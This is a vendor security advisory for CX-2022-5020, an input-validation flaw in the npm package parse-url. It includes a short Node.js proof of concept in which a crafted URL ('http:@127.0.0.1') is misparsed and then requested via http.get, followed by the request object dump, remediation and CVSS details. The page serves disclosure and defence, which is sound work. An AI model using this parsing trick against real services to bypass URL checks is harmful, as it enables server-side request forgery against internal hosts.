---
title: "CX-2022-5020"
date: "2022-09-12T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5020/"
---

# CX-2022-5020

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

No CVE assigned  **Published:** Sep 12, 2022

6.5 Medium Severity improper input javascript node nodejs npm validation

@ @p0cas  Reported by Checkmarx Zero

Details Overview

## Summary

Improper Input Validation in parse-url.

## Product

parse-url through 6.0.0, and versions 6.0.2, 6.0.3, 6.0.5.

## Steps to reproduce

```//
const parseUrl = require("parse-url")
const http = require("http")

url = parseUrl("http:@127.0.0.1")
console.log(url)
console.log(http.get(url.href))
```

### Expected result:

```{
  protocols: [],
  protocol: 'file',
  port: null,
  resource: '',
  user: '',
  pathname: 'http:@127.0.0.1',
  hash: '',
  search: '',
  href: 'http:@127.0.0.1',
  query: [Object: null prototype] {}
}
ClientRequest {
  _events: [Object: null prototype] {
    socket: [Function: bound onceWrapper] { listener: [Function: onSocket] }
  },
  _eventsCount: 1,
  _maxListeners: undefined,
  outputData: [
    {
      data: 'GET / HTTP/1.1rnHost: 127.0.0.1rnConnection: closernrn',
      encoding: 'latin1',
      callback: [Function: bound onFinish]
    }
  ],
  outputSize: 54,
  writable: true,
  _last: true,
  chunkedEncoding: false,
  shouldKeepAlive: false,
  _defaultKeepAlive: true,
  useChunkedEncodingByDefault: false,
  sendDate: false,
  _removedConnection: false,
  _removedContLen: false,
  _removedTE: false,
  _contentLength: 0,
  _hasBody: true,
  _trailer: '',
  finished: true,
  _headerSent: true,
  socket: null,
  connection: null,
  _header: 'GET / HTTP/1.1rnHost: 127.0.0.1rnConnection: closernrn',
  _keepAliveTimeout: 0,
  _onPendingData: [Function: noopPendingOutput],
  agent: Agent {
    _events: [Object: null prototype] {
      free: [Function],
      newListener: [Function: maybeEnableKeylog]
    },
    _eventsCount: 2,
    _maxListeners: undefined,
    defaultPort: 80,
    protocol: 'http:',
    options: { path: null },
    requests: {},
    sockets: { '127.0.0.1:80:': [Array] },
    freeSockets: {},
    keepAliveMsecs: 1000,
    keepAlive: false,
    maxSockets: Infinity,
    maxFreeSockets: 256,
    maxTotalSockets: Infinity,
    totalSocketCount: 1,
    scheduling: 'fifo',
    [Symbol(kCapture)]: false
  },
  socketPath: undefined,
  method: 'GET',
  insecureHTTPParser: undefined,
  path: '/',
  _ended: false,
  res: null,
  aborted: false,
  timeoutCb: null,
  upgradeOrConnect: false,
  parser: null,
  maxHeadersCount: null,
  reusedSocket: false,
  host: '127.0.0.1',
  protocol: 'http:',
  [Symbol(kCapture)]: false,
  [Symbol(kNeedDrain)]: false,
  [Symbol(corked)]: 0,
  [Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', '127.0.0.1' ] }
}
```

## Remediation

Update parse-url to 6.0.1 or 6.0.3.

## Credit

This issue was reported by @p0cas through huntr.dev.

## Resources

1. [21c72ab](https://github.com/ionicabizau/parse-url/commit/21c72ab9412228eea753e2abc48f8962707b1fe3)
2. [Disclosure](https://huntr.dev/bounties/22c41bc2-4063-407b-9086-38dc68aed9f1)
3. [Disclosure](https://huntr.dev/bounties/9284a48c-7f56-4087-b623-09b2ff785a4f/)

0  Medium Severity CVSS v3.1 Score

   6.5

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None

Advisory Timeline1. Disclosed Feb 24, 2022

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)